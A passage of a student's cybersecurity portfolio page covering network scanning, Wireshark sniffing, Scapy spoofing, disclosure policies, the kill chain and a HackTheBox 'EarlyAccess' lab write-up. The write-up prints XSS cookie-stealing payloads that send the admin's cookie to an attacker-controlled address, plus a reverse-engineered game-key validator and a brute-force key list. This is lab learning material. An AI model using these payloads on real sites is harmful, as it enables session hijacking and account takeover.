could mean this is a NAS. I could use this information to go further and get for example access to the samba shares.</p> <a href="../../img/portfolio/red/NetWorkScanRouterHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterHost.png" alt=""></a> <p>Using the before mentioned topology graph I noticed that the router has a lot of open ports as well. Getting into a network's router could give me more access to other parts of the network.</p> <a href="../../img/portfolio/red/NetWorkScanRouterPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterPorts.png" alt=""></a> <p>Here I can see that the router has some open ports for ssh, telnet and some webserver I can poke at.</p> <a href="../../img/portfolio/red/NetWorkScanDesktopHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanDesktopHost.png" alt=""></a> <p>While looking at the topology graph I saw another machine with a lot of open ports so I took a look, and it looks like a windows machine.</p> <a href="../../img/portfolio/red/NetworkScanDesktopPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDesktopPorts.png" alt=""></a> <p>There are a few different open ports on this machine then other regular desktops. Like a MariaDB which I could try to access or take a look at the webserver. The Windows RPC protocol is running on an open port which I can utilize to get in because there are some known exploits for that.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network scanning and enumeration</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal15" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network sniffing and spoofing</p> <p>I will show 2 little demos as a proof of concept.</p> <a href="../../img/portfolio/red/WiresharkHTTPSite.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPSite.png" alt=""></a> <p>I have a "pi-hole" server running on my network that acts as my home dns server. It has a login screen for a dashboard with statistics but it is not HTTPS secured. So I tried catching the password with Wireshark while logging in.</p> <a href="../../img/portfolio/red/WiresharkHTTPResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPResult.png" alt=""></a> <p>When I filter Wireshark to only HTTP and logged in in te website I can see my IP and the website's IP. When I open the packet and took a look what's inside, you can see the form post with password in plain text. Now this website doesn't hash the password so I can see the password in plain text, otherwise I would have seen a hash which I had to decrypt to get the password.</p> <a href="../../img/portfolio/red/ScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/ScapyPacket.png" alt=""></a> <p>I created a fake IPV4 packet using "scapy". I made it so that it looks like the packet is coming from google, but It's actually from me and I put my malicious code in it.</p> <a href="../../img/portfolio/red/WireSharkScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WireSharkScapyPacket.png" alt=""></a> <p>I captured the packet with Wireshark and as you can see the source address is google, but when you look in the raw my malicious code is in there.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network sniffing and spoofing</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal16" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Law, Ethics and Responsible Disclosure</p> <p>The Ethics are both quite abstract though logical at the same time. The are written in an abstract manner in which they could apply to even other things than hacking. Thus making it logical as well. Many things you wouldn't do to someone in real life you wouldn't do online. I think it's the same point <a href="https://www.youtube.com/watch?v=HmZm8vNHBSU">these</a> guys tried to make, except badly executed.</p> <P>In my opinion the internet is one of the last few free places there are in the world. Though sometimes tightly controlled by governments, look at China or North-Korea, people still find ways around the system to express their voices. I agree with the ethics being like gentlemen rules, just don't be a dick to someone, don't do anything you wouldn't want to be done to yourself. But this doesn't include expressing your opinion even though it might hurt some people. On the internet you still got the right to say those things the same as people having the right to disagree and say something about it. While in the real world when you say something wrong people will call it a form of discrimination and you'll get prosecuted. Thus undermining the freedom of speech and creating more and more censorship.</P> <p>These are the responsible disclosures of companies I compared.</p> <ul> <li><a href="https://www.google.com/about/appsecurity/">Google</a></li> <li><a href="https://support.apple.com/en-us/HT201220">Apple</a></li> <li> <a href="https://fontys.nl/Over-Fontys/Organisatie-en-sturing/Onze-organisatieNieuw/Regelingen-statuten-en-reglementen/Responsible-disclosure-Fontys-Hogescholen.htm">Fontys</a> </li> </ul> <p>The first things that stood out to me was the rewards. While Google and Apple being big corporations reward the people with big sums of money, the Fontys rewards them by putting their name on the wall of fame. Looking at other smaller companies it is more common to give some merchandise, putting their names on the hall of fame or giving a small amount of money compared to the big numbers Google and Apple are giving as rewards.</p> <p>What they all have in common is that they want a full detailed report of what you did so they can reproduce the scenario. They all don't want you to make anything public before they had a chance to fix it and don't dig any deeper in sensitive date that is necessary to proof the vulnerability.</p> <p>They all also state that even though you did anything illegal while proofing the vulnerability, if you follow their responsible disclosure and follow their rules they won't pursue any legal actions.</p> <p>It is quite logical that companies don't prosecute these people and give them rewards instead, because if you think about it they will lose far less money when they pay these rewards then if they get hacked by a real threat. Looking at <a href="https://www.bugcrowd.com/bug-bounty-list/">this</a> website a lot of companies share that same ideology.</p> <ul class="list-inline"> <li>Date: December 2019</li> <li>Client: Fontys</li> <li>Category: Law, Ethics and Responsible Disclosure</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal17" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Basic hacking process</p> <p>First lets talk about the basic hacking process. This is a process most hackers will follow when conducting a hack, good or bad. Though good and bad use this process there is a key difference between the two.</p> <a href="../../img/portfolio/red/hackingstappen.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/hackingstappen.png" alt=""></a> <p>These are the basic hacking steps that are needed to conduct a good hack.</p> <h3>Intel Gathering</h3> <p>Intel gathering is the first step in the basic hacking process. In this step the hacker tries to gain as much information on his target as possible. He'll conduct for instance a OSINT, go to the physical location of his target and get a feel for the place and maybe even use social engineering to call his target and try to extract information.</p> <h3>Footprint</h3> <p>Now the hacker will conduct a network scan and try to gain as much information on the target's network as possible. He needs to find a foothold from which he can continue further, think about ip ranges, open ports, OS versions and important servers.</p> <h3>Vuln Analysis</h3> <p>The hacker will now look for any out of date software or operating systems to use exploits on. Whenever he'll find a software version he'll look if there's a CVE entry for that he could exploit. He might also use some automated tools to find common vulnerabilities for him. The hacker will also try any website for web vulnerabilities like SQL injection, command injection, CSRF and XSS.</p> <h3>Exploitation</h3> <p>Now is time for action. The hacker will use the information and vulnerabilities he found in the previous step to use his exploits. Thus gaining access to his target or the information he's after. Most ethical hackers/pentesters will stop after this step or not even do this step at all because it might result in destabilizing or shutting down the targets network.</p> <h3>Post Exploitation</h3> <p>This step and the following is more applicable to the bad actors out there. Here the hacker will extract the data he's after, edit some data, create new accounts and setup persistence for a backdoor so he can come back later without going through the same process again or have the risk of the target patching the vulnerability he used.</p> <h3>Clean Up</h3> <p>This step is very important for bad actors to not get caught. Here the hacker will try to remove all of his footsteps like logs. Therefore the police or target will not be able to track him down or even know what he did in the first place.</p> <a href="../../img/portfolio/red/Cyber-Kill-Chain.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/Cyber-Kill-Chain.png" alt=""></a> <p>Now this is the cyber kill chain even though it's comparable to the basic hacking process there are some differences.</p> <h3>Reconnaissance</h3> <p>Here the hacker will conduct recon comparable to the intel gathering stage in the basic hacking process.</p> <h3>Weaponization</h3> <p>In this step the hacker is already creating a payload with an exploit to attack his target. It is notable that in the cyber killchain they skip the footprint and vuln analysis stages.</p> <h3>Delivery</h3> <p>Now the payload is to be delivered to the target this can be done by phising email, rubber ducky and so on. This stage is also not present in the basic hacking process, there it's more part of the exploitation stage.</p> <h3>Exploitation</h3> <p>When the payload is delivered the hacker will activate his attack.</p> <h3>Installation</h3> <p>In this stage the hacker will install for example malware to create persistence for a backdoor or to act more stealthy. This would happen in the post exploitation stage in the basic hacking process.</p> <h3>Command & Control</h3> <p>Now the installed malware will call back to the command and control system and give the hacker control of the hacked system. This can be both part of the exploitation and post exploitation stage in the basic hacking process.</p> <h3>Actions on Objectives</h3> <p>Here the hacker will do whatever his intentions were.</p> <h4>The minimal requirements for a good pentest contract and pentest report</h4> <p>In a good pentest contract there should be a clearly defined scope and procedures in case of emergency. The contract should also include a confidentiality agreement. The pentest report should include the scope and goal of the project with the findings and how it was done. It should be explained very carefully and readable for people that weren't aware of the project. The most important thing is ofcourse the advice to give to the company, this way they'll be able to fix any security leaks and the pentest was a success.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Basic hacking process</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal18" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Self reflection</p> <p>The semester started quite slowly for me. It wasn't really clear for me were I should start and were I should look for the right information. This semester was quite different from the defending one. In the defending semester everything went quite easy and smooth and I had a clear goal that I wanted to achieve, I felt like I missed that this semester, hens why it didn't start so smoothly.</p> <p>I started this semester with absolutely no knowledge in hacking into things. I learned quite a lot this semester, must of the things I learned listening to podcasts and understanding the different concepts and trying different things on DVWA.</p> <p>I still don't really feel like I could actually conduct a good pentest and find some decent results after this semester which I think sucks, because I feel like I should. I do think I've the knowledge but I feel like I lack the How-to. I did think I would be quite good at defending a network and building one after previous semester, so I think it's a combination between a lack of goals and guidance.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Self reflection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal19" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Cyber4Z</h2> <p class="item-intro text-muted">My internship at Cyber4Z</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: June 2021</li> <li>Client: Cyber4Z</li> <li>Category: Internship</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal20" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Pen-testing methodologies</p> <p>The standard and most popular pentest methodology is the Lockheed Martin cyber killchain. It's a basic process that explains the order of action a criminal hacker would follow. Thus also making it a viable ethical hacker methodology.</p> <a href="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png" alt=""></a> <p>Knowing what step a attacker is taking or needs to take is good to know. But it's also good to know how to mitigate or prevent each step of the cyber killchain.</p> <a href="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg" alt=""></a> <p>Other than the Lockheed Martin cyber killchain there are a few other frameworks/methodologies, like the well-known OWASP.</p> <ol> <li>OSSTMM (Open Source Security Testing Methodology Manual)</li> <li>OWASP (Open Web Application Security Project)</li> <li>NIST (The National Institute of Standards and Technology)</li> <li>PTES (Penetration Testing Methodologies and Standards)</li> <li>ISSAF (Information System Security Assessment Framework)</li> </ol> <a href="https://www.vumetric.com/blog/top-penetration-testing-methodologies/">Source</a> <p><b>OSSTMM</b> is a peer-reviewed security assessment standard for testing and auditing systems and providing them with a risk score</p> <p><b>OWASP</b> is used as a methodology to pentest websites and web applications.</p> <p><b>NIST</b> is a very strict standard and they promote themselves as functionality driven. They mainly focus on helping federal agencies comply with regulations.</p> <p><b>PTES</b> is a structured approach to pentesting and looks a lot like the Lockheed Martin cyber killchain.</p> <p><b>ISSAF</b> is a pentesting methodology where the pentester imitates a hacker. This also looks a lot like the Lockheed Martin cyber killchain.</p> <p>Apart from all these methodologies there's another well known entity known by not only red teamers but also well-known by the blue teamers. This framework is known as the <a href="https://attack.mitre.org/">Mitre ATT&CK Framework</a> this framework contains almost every possible way to attack a network or machine.</p> <p>I've used the Mitre ATT&CK framework a lot when monitoring the SOC in my home network. Wazuh automatically categorizes the incoming alert in the Mitre ATT&CK framework. On the opposite side from te red teamer perspective I've used OWASP and the Lockheed Martin cyber killchain a lot. Mostly when performing pentests but also when cracking machines on Hackthebox and when participating in CTF events.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal21" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Linux Write-up</p> <a href="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <code>sudo nmap -v -A -sS earlyaccess.htb</code> <a href="img/portfolio/minor/red/htb_linux/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/NMapOutput.png" alt=""></a> <p>From the scan we can see that port 80 (http), 443 (https) and 22 (ssh) are open. Nothing special to see here really. Maybe we'll have more luck in finding something with GoBuster.</p> <code>gobuster dir -x 'php, xml, html, js, css, txt, md' -u earlyaccess.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</code> <a href="img/portfolio/minor/red/htb_linux/GoBusterOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GoBusterOutput.png" alt=""></a> <p>From the looks of it all the tries get redirected and these are all false positives. Let's try Ffuf as a last enumeration method in order to find hidden subdomains.</p> <code>ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://earlyaccess.htb -H "Host: FUZZ.earlyaccess.htb" -mc 200</code> <a href="img/portfolio/minor/red/htb_linux/FfufOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FfufOutput.png" alt=""></a> <p>Looks like we got a few interesting hits. So I'll add those to my /etc/Hosts file so we can take a look at them later on. So let's create a test account on the main page and let's see what we can find.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png" alt=""></a> <p>Interesting we can see a messaging service, a forum, a store and a place to register a key. We can also edit our own account. Let's take a look at the forum.</p> <a href="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png" alt=""></a> <p>Some guy on the forum told the staff that his username caused an issue on the scoreboard, and because his username is SingleQuoteMan I feel like this is a nod towards either XSS or SQLI. We can probably steal a cookie from the admin if we use XSS in our username, because it will run when we message a staff member for support.</p> <a href="img/portfolio/minor/red/htb_linux/SendingMessage.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SendingMessage.png" alt=""></a> <p>Now we'll just need to find a XSS script that will steal the cookie for us so we can use it. I tried a fair number of PHP cookie stealers but with out any luck.</p> <p> I tried to follow this guide <a href="https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/">https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/</a> and tried a number of different XSS scripts. </p> <code class="prettyprint"><img src=x onerror=this.src='http://10.10.14.40:8888/'</code> <a href="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png" alt=""></a> <code class="prettyprint"><iframe src=http://10.10.14.40:8888/shell.php height=”0” width=”0”></iframe></code> <p>But none of these worked. I did manage to steal my own cookie but when I tried stealing the admin's I get an "Unsupported ssl" error. So I probably have to make the cookie stealer server run on https. But before that I wanted to try to steal it one more time without using Java Springboot.</p> <a href="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png" alt=""></a> <p>It was a longshot but worth the try because Springboot does a lot of stuff underwater and it just works most of the time. I used another XSS script as well because the other ones spammed my terminal full of bogus output.</p> <code class="prettyprint"><script>document.location="http://10.10.14.88:8888/cookie?c=" + document.cookie</script></code> <a href="img/portfolio/minor/red/htb_linux/AdminCookieJava.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AdminCookieJava.png" alt=""></a> <p>And this worked! We got the admin cookie now all that's left is to change our cookie to the admin's and refresh the page!</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png" alt=""></a> <p>We are logged in as admin but now what? From the looks of it we got a few new tabs in the navbar. Game and Dev are the subdomains we've already found but admin could be interesting.</p> <a href="img/portfolio/minor/red/htb_linux/ValidateAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ValidateAPI.png" alt=""></a> <p>It is an admin panel mostly used to validate game keys.</p> <a href="img/portfolio/minor/red/htb_linux/GameKeyForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GameKeyForum.png" alt=""></a> <p>If we look back at the forum we can see that they are having trouble validating the game keys and that they resorted to an offline manual method. Let's download the offline key validator and see what we can find.</p> <pre style="text-align: left"> <code class="prettyprint"> #!/usr/bin/env python3 import sys from re import match class Key: key = "" magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) def __init__(self, key:str, magic_num:int=346): self.key = key if magic_num != 0: self.magic_num = magic_num @staticmethod def info() -> str: return f""" # Game-Key validator # Can be used to quickly verify a user's game key, when the API is down (again). Keys look like the following: AAAAA-BBBBB-CCCC1-DDDDD-1234 Usage: {sys.argv[0]} <game-key>""" def valid_format(self) -> bool: return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key)) def calc_cs(self) -> int: gs = self.key.split('-')[:-1] return sum([sum(bytearray(g.encode())) for g in gs]) def g1_valid(self) -> bool: g1 = self.key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] if r != [221, 81, 145]: return False for v in g1[3:]: try: int(v) except: return False return len(set(g1)) == len(g1) def g2_valid(self) -> bool: g2 = self.key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) def g3_valid(self) -> bool: # TODO: Add mechanism to sync magic_num with API g3 = self.key.split('-')[2] if g3[0:2] == self.magic_value: return sum(bytearray(g3.encode())) == self.magic_num else: return False def g4_valid(self) -> bool: return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0] def cs_valid(self) -> bool: cs = int(self.key.split('-')[-1]) return self.calc_cs() == cs def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True if __name__ == "__main__": if len(sys.argv) != 2: print(Key.info()) sys.exit(-1) input = sys.argv[1] validator = Key(input) if validator.check(): print(f"Entered key is valid!") else: print(f"Entered key is invalid!") </code> </pre> <p>This is the original code it looks like they validate the key in parts so if we can reverse engineer these parts we can find out how to crack the key.</p> <a href="img/portfolio/minor/red/htb_linux/PythonCompiler.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PythonCompiler.png" alt=""></a> <p>I put the Python code in an online compiler and removed all the functions and made it into a script. Then I put all the results in variables so we can see if a try is valid.</p> <pre style="text-align: left"> <code class="prettyprint"> from re import match class Key: key = "KEY01-0H0H0-XPAA0-GAME1-1295" #defaultkey=AAAAA-BBBBB-CCCC1-DDDDD-1234 magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) valid = False cs_value = 0 cs_valid = False g1_valid = False g2_valid = False g3_valid = False g4_valid = False valid = bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", key)) print("valid_format: ", valid) gs = key.split('-')[:-1] cs_value = sum([sum(bytearray(g.encode())) for g in gs]) print("cs_value: ", cs_value) ### g1 discovered by changing the first 3 characters untill the r value matched g1 = key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] print("r: ", r) if r != [221, 81, 145]: g1_valid = False for v in g1[3:]: try: int(v) except: g1_valid = False g1_valid = len(set(g1)) == len(g1) print("g1_valid: ", g1_valid) ### g2 discovered by putting p1 on 0 and shifting p2 until it matched g2 = key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] g2_valid = sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) print("g2_valid: ", g2_valid) # TODO: Add mechanism to sync magic_num with API g3 = key.split('-')[2] if g3[0:2] == magic_value: g3_valid = sum(bytearray(g3.encode())) == magic_num else: g3_valid = False print("g3_valid: ", g3_valid) ### Same approach as g1 try different values untill they matched print("g4: ", [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])]) g4_valid = [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])] == [12, 4, 20, 117, 0] print("g4_valid: ", g4_valid) ### The CS value is just a byte sum of the whole key so this has to be the last value to crack and is pretty easy because we can just print the real CS value and match it cs = int(key.split('-')[-1]) print("cs: ", cs) cs_valid = cs_value == cs print("cs_valid: ", cs_valid) def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True </code> </pre> <a href="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png" alt=""></a> <p>We cracked the code but the only thing that didn't work is part G3 because the magic number seems to be different on the server. When we try to validate it locally using the original validator script the key is valid. But maybe we can bruteforce this magic number using Burpsuite. There are only 60 possible combinations because the magic number is a sum of the last 3 characters, because the code said that the first two "XP" are static, And each character has a specific value. So I made a list.</p> <pre style="text-align: left"> <code class="prettyprint"> KEY01-0H0H0-XPAA0-GAME1-1295 KEY01-0H0H0-XPAB0-GAME1-1296 KEY01-0H0H0-XPAC0-GAME1-1297 KEY01-0H0H0-XPAD0-GAME1-1298 KEY01-0H0H0-XPAE0-GAME1-1299 KEY01-0H0H0-XPAF0-GAME1-1300 KEY01-0H0H0-XPAG0-GAME1-1301 KEY01-0H0H0-XPAH0-GAME1-1302 KEY01-0H0H0-XPAI0-GAME1-1303 KEY01-0H0H0-XPAJ0-GAME1-1304 KEY01-0H0H0-XPAK0-GAME1-1305 KEY01-0H0H0-XPAL0-GAME1-1306 KEY01-0H0H0-XPAM0-GAME1-1307 KEY01-0H0H0-XPAN0-GAME1-1308 KEY01-0H0H0-XPAO0-GAME1-1309 KEY01-0H0H0-XPAP0-GAME1-1310 KEY01-0H0H0-XPAQ0-GAME1-1311 KEY01-0H0H0-XPAR0-GAME1-1312 KEY01-0H0H0-XPAS0-GAME1-1313 KEY01-0H0H0-XPAT0-GAME1-1314 KEY01-0H0H0-XPAU0-GAME1-1315 KEY01-0H0H0-XPAV0-GAME1-1316 KEY01-0H0H0-XPAW0-GAME1-1317 KEY01-0H0H0-XPAX0-GAME1-1318 KEY01-0H0H0-XPAY0-GAME1-1319 KEY01-0H0H0-XPAZ0-GAME1-1320 KEY01-0H0H0-XPBZ0-GAME1-1321 KEY01-0H0H0-XPCZ0-GAME1-1322 KEY01-0H0H0-XPDZ0-GAME1-1323 KEY01-0H0H0-XPEZ0-GAME1-1324 KEY01-0H0H0-XPFZ0-GAME1-1325 KEY01-0H0H0-XPGZ0-GAME1-1326 KEY01-0H0H0-XPHZ0-GAME1-1327 KEY01-0H0H0-XPIZ0-GAME1-1328 KEY01-0H0H0-XPJZ0-GAME1-1329 KEY01-0H0H0-XPKZ0-GAME1-1330 KEY01-0H0H0-XPLZ0-GAME1-1331 KEY01-0H0H0-XPMZ0-GAME1-1332 KEY01-0H0H0-XPNZ0-GAME1-1333 KEY01-0H0H0-XPOZ0-GAME1-1334 KEY01-0H0H0-XPPZ0-GAME1-1335 KEY01-0H0H0-XPQZ0-GAME1-1336 KEY01-0H0H0-XPRZ0-GAME1-1337 KEY01-0H0H0-XPSZ0-GAME1-1338 KEY01-0H0H0-XPTZ0-GAME1-1339 KEY01-0H0H0-XPUZ0-GAME1-1340 KEY01-0H0H0-XPVZ0-GAME1-1341 KEY01-0H0H0-XPWZ0-GAME1-1342 KEY01-0H0H0-XPXZ0-GAME1-1343 KEY01-0H0H0-XPYZ0-GAME1-1344 KEY01-0H0H0-XPZZ0-GAME1-1345 KEY01-0H0H0-XPZZ1-GAME1-1346 KEY01-0H0H0-XPZZ2-GAME1-1347 KEY01-0H0H0-XPZZ3-GAME1-1348 KEY01-0H0H0-XPZZ4-GAME1-1349 KEY01-0H0H0-XPZZ5-GAME1-1350 KEY01-0H0H0-XPZZ6-GAME1-1351 KEY01-0H0H0-XPZZ7-GAME1-1352 KEY01-0H0H0-XPZZ8-GAME1-1353 KEY01-0H0H0-XPZZ9-GAME1-1354 </code> </pre> <p>First we need to intercept to post so we can copy it.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png" alt=""></a> <p>Now we can send it to the intruder to start brute-forcing this magic number.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png" alt=""></a> <p>I've added the payload which is the list of possible combinations we've just compiled. Now we need to add it into the POST.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png" alt=""></a> <p>Now let's start attacking!</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png" alt=""></a> <p>That didn't go as planned it looks like all the requests got redirected let's look at the settings if we can change anything.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png" alt=""></a> <p>Looks like Burpsuite just needed to be allowed to follow redirects. This is probably also the reason why our first GoBuster attempt failed.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png" alt=""></a> <p>Now to second attack is way more promising. One key stands out because the response length is different from the rest. Let's try that key and see what happens.</p> <a href="img/portfolio/minor/red/htb_linux/KeyValidationTest.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/KeyValidationTest.png" alt=""></a> <p>And it worked! Now lets go back to our normal user account and add this key to our account.</p> <a 